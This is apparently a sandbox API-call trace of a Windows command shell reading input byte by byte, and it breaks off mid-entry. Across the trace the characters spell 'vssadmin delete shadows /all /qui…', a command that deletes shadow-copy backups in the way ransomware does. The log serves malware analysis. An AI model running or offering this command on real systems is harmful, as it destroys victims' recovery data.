HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2b6510 | out: hHeap=0x2a0000) returned 1 [0033.755] GetProcessHeap () returned 0x2a0000 [0033.755] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2b4610 | out: hHeap=0x2a0000) returned 1 [0033.755] GetProcessHeap () returned 0x2a0000 [0033.755] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2b97e0 | out: hHeap=0x2a0000) returned 1 [0033.755] _vsnwprintf (in: _Buffer=0x4a4d6340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x14f198 | out: _Buffer="\r\n") returned 2 [0033.755] _get_osfhandle (_FileHandle=1) returned 0xf4 [0033.756] GetFileType (hFile=0xf4) returned 0x3 [0033.756] _get_osfhandle (_FileHandle=1) returned 0xf4 [0033.756] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a4cc320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0033.756] WriteFile (in: hFile=0xf4, lpBuffer=0x4a4cc320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x14f168, lpOverlapped=0x0 | out: lpBuffer=0x4a4cc320*, lpNumberOfBytesWritten=0x14f168*=0x2, lpOverlapped=0x0) returned 1 [0033.756] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a4bf360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0033.756] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a4cc0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0033.756] _vsnwprintf (in: _Buffer=0x4a4beb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x14f1a8 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0033.756] _vsnwprintf (in: _Buffer=0x4a4bebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x14f1a8 | out: _Buffer=">") returned 1 [0033.756] _get_osfhandle (_FileHandle=1) returned 0xf4 [0033.756] GetFileType (hFile=0xf4) returned 0x3 [0033.756] _get_osfhandle (_FileHandle=1) returned 0xf4 [0033.756] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x4a4cc320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0033.756] WriteFile (in: hFile=0xf4, lpBuffer=0x4a4cc320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x14f198, lpOverlapped=0x0 | out: lpBuffer=0x4a4cc320*, lpNumberOfBytesWritten=0x14f198*=0x26, lpOverlapped=0x0) returned 1 [0033.756] _get_osfhandle (_FileHandle=0) returned 0xe8 [0033.756] GetFileType (hFile=0xe8) returned 0x3 [0033.756] _get_osfhandle (_FileHandle=0) returned 0xe8 [0033.756] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0033.756] ReadFile (in: hFile=0xe8, lpBuffer=0x4a4cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f498, lpOverlapped=0x0 | out: lpBuffer=0x4a4cc320*, lpNumberOfBytesRead=0x14f498*=0x1, lpOverlapped=0x0) returned 1 [0033.756] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a4cc320, cbMultiByte=1, lpWideCharStr=0x4a4ce320, cchWideChar=1 | out: lpWideCharStr="vode con cp select=1251\n") returned 1 [0033.756] _get_osfhandle (_FileHandle=0) returned 0xe8 [0033.756] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0033.756] ReadFile (in: hFile=0xe8, lpBuffer=0x4a4cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f498, lpOverlapped=0x0 | out: lpBuffer=0x4a4cc320*, lpNumberOfBytesRead=0x14f498*=0x1, lpOverlapped=0x0) returned 1 [0033.756] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a4cc320, cbMultiByte=1, lpWideCharStr=0x4a4ce322, cchWideChar=1 | out: lpWideCharStr="sde con cp select=1251\n") returned 1 [0033.756] _get_osfhandle (_FileHandle=0) returned 0xe8 [0033.756] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0033.756] ReadFile (in: hFile=0xe8, lpBuffer=0x4a4cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f498, lpOverlapped=0x0 | out: lpBuffer=0x4a4cc320*, lpNumberOfBytesRead=0x14f498*=0x1, lpOverlapped=0x0) returned 1 [0033.756] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a4cc320, cbMultiByte=1, lpWideCharStr=0x4a4ce324, cchWideChar=1 | out: lpWideCharStr="se con cp select=1251\n") returned 1 [0033.756] _get_osfhandle (_FileHandle=0) returned 0xe8 [0033.756] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0033.756] ReadFile (in: hFile=0xe8, lpBuffer=0x4a4cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f498, lpOverlapped=0x0 | out: lpBuffer=0x4a4cc320*, lpNumberOfBytesRead=0x14f498*=0x1, lpOverlapped=0x0) returned 1 [0033.756] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a4cc320, cbMultiByte=1, lpWideCharStr=0x4a4ce326, cchWideChar=1 | out: lpWideCharStr="a con cp select=1251\n") returned 1 [0033.756] _get_osfhandle (_FileHandle=0) returned 0xe8 [0033.756] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0033.756] ReadFile (in: hFile=0xe8, lpBuffer=0x4a4cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f498, lpOverlapped=0x0 | out: lpBuffer=0x4a4cc320*, lpNumberOfBytesRead=0x14f498*=0x1, lpOverlapped=0x0) returned 1 [0033.757] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a4cc320, cbMultiByte=1, lpWideCharStr=0x4a4ce328, cchWideChar=1 | out: lpWideCharStr="dcon cp select=1251\n") returned 1 [0033.757] _get_osfhandle (_FileHandle=0) returned 0xe8 [0033.757] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0033.757] ReadFile (in: hFile=0xe8, lpBuffer=0x4a4cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f498, lpOverlapped=0x0 | out: lpBuffer=0x4a4cc320*, lpNumberOfBytesRead=0x14f498*=0x1, lpOverlapped=0x0) returned 1 [0033.757] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a4cc320, cbMultiByte=1, lpWideCharStr=0x4a4ce32a, cchWideChar=1 | out: lpWideCharStr="mon cp select=1251\n") returned 1 [0033.757] _get_osfhandle (_FileHandle=0) returned 0xe8 [0033.757] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0033.757] ReadFile (in: hFile=0xe8, lpBuffer=0x4a4cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f498, lpOverlapped=0x0 | out: lpBuffer=0x4a4cc320*, lpNumberOfBytesRead=0x14f498*=0x1, lpOverlapped=0x0) returned 1 [0033.757] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a4cc320, cbMultiByte=1, lpWideCharStr=0x4a4ce32c, cchWideChar=1 | out: lpWideCharStr="in cp select=1251\n") returned 1 [0033.757] _get_osfhandle (_FileHandle=0) returned 0xe8 [0033.757] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0033.757] ReadFile (in: hFile=0xe8, lpBuffer=0x4a4cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f498, lpOverlapped=0x0 | out: lpBuffer=0x4a4cc320*, lpNumberOfBytesRead=0x14f498*=0x1, lpOverlapped=0x0) returned 1 [0033.757] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a4cc320, cbMultiByte=1, lpWideCharStr=0x4a4ce32e, cchWideChar=1 | out: lpWideCharStr="n cp select=1251\n") returned 1 [0033.757] _get_osfhandle (_FileHandle=0) returned 0xe8 [0033.757] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0033.757] ReadFile (in: hFile=0xe8, lpBuffer=0x4a4cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f498, lpOverlapped=0x0 | out: lpBuffer=0x4a4cc320*, lpNumberOfBytesRead=0x14f498*=0x1, lpOverlapped=0x0) returned 1 [0033.757] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a4cc320, cbMultiByte=1, lpWideCharStr=0x4a4ce330, cchWideChar=1 | out: lpWideCharStr=" cp select=1251\n") returned 1 [0033.757] _get_osfhandle (_FileHandle=0) returned 0xe8 [0033.757] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0033.757] ReadFile (in: hFile=0xe8, lpBuffer=0x4a4cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f498, lpOverlapped=0x0 | out: lpBuffer=0x4a4cc320*, lpNumberOfBytesRead=0x14f498*=0x1, lpOverlapped=0x0) returned 1 [0033.757] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a4cc320, cbMultiByte=1, lpWideCharStr=0x4a4ce332, cchWideChar=1 | out: lpWideCharStr="dp select=1251\n") returned 1 [0033.757] _get_osfhandle (_FileHandle=0) returned 0xe8 [0033.757] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0033.757] ReadFile (in: hFile=0xe8, lpBuffer=0x4a4cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f498, lpOverlapped=0x0 | out: lpBuffer=0x4a4cc320*, lpNumberOfBytesRead=0x14f498*=0x1, lpOverlapped=0x0) returned 1 [0033.757] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a4cc320, cbMultiByte=1, lpWideCharStr=0x4a4ce334, cchWideChar=1 | out: lpWideCharStr="e select=1251\n") returned 1 [0033.757] _get_osfhandle (_FileHandle=0) returned 0xe8 [0033.757] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0033.757] ReadFile (in: hFile=0xe8, lpBuffer=0x4a4cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f498, lpOverlapped=0x0 | out: lpBuffer=0x4a4cc320*, lpNumberOfBytesRead=0x14f498*=0x1, lpOverlapped=0x0) returned 1 [0033.757] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a4cc320, cbMultiByte=1, lpWideCharStr=0x4a4ce336, cchWideChar=1 | out: lpWideCharStr="lselect=1251\n") returned 1 [0033.757] _get_osfhandle (_FileHandle=0) returned 0xe8 [0033.757] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0033.757] ReadFile (in: hFile=0xe8, lpBuffer=0x4a4cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f498, lpOverlapped=0x0 | out: lpBuffer=0x4a4cc320*, lpNumberOfBytesRead=0x14f498*=0x1, lpOverlapped=0x0) returned 1 [0033.757] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a4cc320, cbMultiByte=1, lpWideCharStr=0x4a4ce338, cchWideChar=1 | out: lpWideCharStr="eelect=1251\n") returned 1 [0033.757] _get_osfhandle (_FileHandle=0) returned 0xe8 [0033.757] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0033.757] ReadFile (in: hFile=0xe8, lpBuffer=0x4a4cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f498, lpOverlapped=0x0 | out: lpBuffer=0x4a4cc320*, lpNumberOfBytesRead=0x14f498*=0x1, lpOverlapped=0x0) returned 1 [0033.757] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a4cc320, cbMultiByte=1, lpWideCharStr=0x4a4ce33a, cchWideChar=1 | out: lpWideCharStr="tlect=1251\n") returned 1 [0033.757] _get_osfhandle (_FileHandle=0) returned 0xe8 [0033.757] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0033.758] ReadFile (in: hFile=0xe8, lpBuffer=0x4a4cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f498, lpOverlapped=0x0 | out: lpBuffer=0x4a4cc320*, lpNumberOfBytesRead=0x14f498*=0x1, lpOverlapped=0x0) returned 1 [0033.758] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a4cc320, cbMultiByte=1, lpWideCharStr=0x4a4ce33c, cchWideChar=1 | out: lpWideCharStr="eect=1251\n") returned 1 [0033.758] _get_osfhandle (_FileHandle=0) returned 0xe8 [0033.758] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0033.758] ReadFile (in: hFile=0xe8, lpBuffer=0x4a4cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f498, lpOverlapped=0x0 | out: lpBuffer=0x4a4cc320*, lpNumberOfBytesRead=0x14f498*=0x1, lpOverlapped=0x0) returned 1 [0033.758] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a4cc320, cbMultiByte=1, lpWideCharStr=0x4a4ce33e, cchWideChar=1 | out: lpWideCharStr=" ct=1251\n") returned 1 [0033.758] _get_osfhandle (_FileHandle=0) returned 0xe8 [0033.758] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0033.758] ReadFile (in: hFile=0xe8, lpBuffer=0x4a4cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f498, lpOverlapped=0x0 | out: lpBuffer=0x4a4cc320*, lpNumberOfBytesRead=0x14f498*=0x1, lpOverlapped=0x0) returned 1 [0033.758] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a4cc320, cbMultiByte=1, lpWideCharStr=0x4a4ce340, cchWideChar=1 | out: lpWideCharStr="st=1251\n") returned 1 [0033.758] _get_osfhandle (_FileHandle=0) returned 0xe8 [0033.758] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0033.758] ReadFile (in: hFile=0xe8, lpBuffer=0x4a4cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f498, lpOverlapped=0x0 | out: lpBuffer=0x4a4cc320*, lpNumberOfBytesRead=0x14f498*=0x1, lpOverlapped=0x0) returned 1 [0033.758] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a4cc320, cbMultiByte=1, lpWideCharStr=0x4a4ce342, cchWideChar=1 | out: lpWideCharStr="h=1251\n") returned 1 [0033.758] _get_osfhandle (_FileHandle=0) returned 0xe8 [0033.758] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0033.758] ReadFile (in: hFile=0xe8, lpBuffer=0x4a4cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f498, lpOverlapped=0x0 | out: lpBuffer=0x4a4cc320*, lpNumberOfBytesRead=0x14f498*=0x1, lpOverlapped=0x0) returned 1 [0033.758] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a4cc320, cbMultiByte=1, lpWideCharStr=0x4a4ce344, cchWideChar=1 | out: lpWideCharStr="a1251\n") returned 1 [0033.758] _get_osfhandle (_FileHandle=0) returned 0xe8 [0033.758] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0033.758] ReadFile (in: hFile=0xe8, lpBuffer=0x4a4cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f498, lpOverlapped=0x0 | out: lpBuffer=0x4a4cc320*, lpNumberOfBytesRead=0x14f498*=0x1, lpOverlapped=0x0) returned 1 [0033.758] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a4cc320, cbMultiByte=1, lpWideCharStr=0x4a4ce346, cchWideChar=1 | out: lpWideCharStr="d251\n") returned 1 [0033.758] _get_osfhandle (_FileHandle=0) returned 0xe8 [0033.758] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0033.758] ReadFile (in: hFile=0xe8, lpBuffer=0x4a4cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f498, lpOverlapped=0x0 | out: lpBuffer=0x4a4cc320*, lpNumberOfBytesRead=0x14f498*=0x1, lpOverlapped=0x0) returned 1 [0033.758] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a4cc320, cbMultiByte=1, lpWideCharStr=0x4a4ce348, cchWideChar=1 | out: lpWideCharStr="o51\n") returned 1 [0033.758] _get_osfhandle (_FileHandle=0) returned 0xe8 [0033.758] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0033.758] ReadFile (in: hFile=0xe8, lpBuffer=0x4a4cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f498, lpOverlapped=0x0 | out: lpBuffer=0x4a4cc320*, lpNumberOfBytesRead=0x14f498*=0x1, lpOverlapped=0x0) returned 1 [0033.758] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a4cc320, cbMultiByte=1, lpWideCharStr=0x4a4ce34a, cchWideChar=1 | out: lpWideCharStr="w1\n") returned 1 [0033.758] _get_osfhandle (_FileHandle=0) returned 0xe8 [0033.758] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0033.758] ReadFile (in: hFile=0xe8, lpBuffer=0x4a4cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f498, lpOverlapped=0x0 | out: lpBuffer=0x4a4cc320*, lpNumberOfBytesRead=0x14f498*=0x1, lpOverlapped=0x0) returned 1 [0033.758] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a4cc320, cbMultiByte=1, lpWideCharStr=0x4a4ce34c, cchWideChar=1 | out: lpWideCharStr="s\n") returned 1 [0033.758] _get_osfhandle (_FileHandle=0) returned 0xe8 [0033.758] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0033.758] ReadFile (in: hFile=0xe8, lpBuffer=0x4a4cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f498, lpOverlapped=0x0 | out: lpBuffer=0x4a4cc320*, lpNumberOfBytesRead=0x14f498*=0x1, lpOverlapped=0x0) returned 1 [0033.758] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a4cc320, cbMultiByte=1, lpWideCharStr=0x4a4ce34e, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0033.759] _get_osfhandle (_FileHandle=0) returned 0xe8 [0033.759] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0033.759] ReadFile (in: hFile=0xe8, lpBuffer=0x4a4cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f498, lpOverlapped=0x0 | out: lpBuffer=0x4a4cc320*, lpNumberOfBytesRead=0x14f498*=0x1, lpOverlapped=0x0) returned 1 [0033.759] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a4cc320, cbMultiByte=1, lpWideCharStr=0x4a4ce350, cchWideChar=1 | out: lpWideCharStr="/") returned 1 [0033.759] _get_osfhandle (_FileHandle=0) returned 0xe8 [0033.759] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0033.759] ReadFile (in: hFile=0xe8, lpBuffer=0x4a4cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f498, lpOverlapped=0x0 | out: lpBuffer=0x4a4cc320*, lpNumberOfBytesRead=0x14f498*=0x1, lpOverlapped=0x0) returned 1 [0033.759] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a4cc320, cbMultiByte=1, lpWideCharStr=0x4a4ce352, cchWideChar=1 | out: lpWideCharStr="a") returned 1 [0033.759] _get_osfhandle (_FileHandle=0) returned 0xe8 [0033.759] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0033.759] ReadFile (in: hFile=0xe8, lpBuffer=0x4a4cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f498, lpOverlapped=0x0 | out: lpBuffer=0x4a4cc320*, lpNumberOfBytesRead=0x14f498*=0x1, lpOverlapped=0x0) returned 1 [0033.759] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a4cc320, cbMultiByte=1, lpWideCharStr=0x4a4ce354, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0033.759] _get_osfhandle (_FileHandle=0) returned 0xe8 [0033.759] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0033.759] ReadFile (in: hFile=0xe8, lpBuffer=0x4a4cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f498, lpOverlapped=0x0 | out: lpBuffer=0x4a4cc320*, lpNumberOfBytesRead=0x14f498*=0x1, lpOverlapped=0x0) returned 1 [0033.759] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a4cc320, cbMultiByte=1, lpWideCharStr=0x4a4ce356, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0033.759] _get_osfhandle (_FileHandle=0) returned 0xe8 [0033.759] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0033.759] ReadFile (in: hFile=0xe8, lpBuffer=0x4a4cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f498, lpOverlapped=0x0 | out: lpBuffer=0x4a4cc320*, lpNumberOfBytesRead=0x14f498*=0x1, lpOverlapped=0x0) returned 1 [0033.759] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a4cc320, cbMultiByte=1, lpWideCharStr=0x4a4ce358, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0033.759] _get_osfhandle (_FileHandle=0) returned 0xe8 [0033.759] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0033.759] ReadFile (in: hFile=0xe8, lpBuffer=0x4a4cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f498, lpOverlapped=0x0 | out: lpBuffer=0x4a4cc320*, lpNumberOfBytesRead=0x14f498*=0x1, lpOverlapped=0x0) returned 1 [0033.759] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a4cc320, cbMultiByte=1, lpWideCharStr=0x4a4ce35a, cchWideChar=1 | out: lpWideCharStr="/") returned 1 [0033.759] _get_osfhandle (_FileHandle=0) returned 0xe8 [0033.759] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0033.759] ReadFile (in: hFile=0xe8, lpBuffer=0x4a4cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f498, lpOverlapped=0x0 | out: lpBuffer=0x4a4cc320*, lpNumberOfBytesRead=0x14f498*=0x1, lpOverlapped=0x0) returned 1 [0033.759] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a4cc320, cbMultiByte=1, lpWideCharStr=0x4a4ce35c, cchWideChar=1 | out: lpWideCharStr="q") returned 1 [0033.759] _get_osfhandle (_FileHandle=0) returned 0xe8 [0033.759] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0033.759] ReadFile (in: hFile=0xe8, lpBuffer=0x4a4cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f498, lpOverlapped=0x0 | out: lpBuffer=0x4a4cc320*, lpNumberOfBytesRead=0x14f498*=0x1, lpOverlapped=0x0) returned 1 [0033.759] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a4cc320, cbMultiByte=1, lpWideCharStr=0x4a4ce35e, cchWideChar=1 | out: lpWideCharStr="u") returned 1 [0033.759] _get_osfhandle (_FileHandle=0) returned 0xe8 [0033.759] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0033.759] ReadFile (in: hFile=0xe8, lpBuffer=0x4a4cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f498, lpOverlapped=0x0 | out: lpBuffer=0x4a4cc320*, lpNumberOfBytesRead=0x14f498*=0x1, lpOverlapped=0x0) returned 1 [0033.759] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a4cc320, cbMultiByte=1, lpWideCharStr=0x4a4ce360, cchWideChar=1 | out: lpWideCharStr="i") returned 1 [0033.759] _get_osfhandle (_FileHandle=0) returned 0xe8 [0033.759] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0033.759] ReadFile (in: hFile=0xe8, lpBuffer=0x4a4cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f498, lpOverlapped=0x0 | out: lpBuffer=0x4a4cc320*, lpNumberOfBytesRead=0x14f498*=0x1, lpOverlapped=0x0) returned 1 [0033.760] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, 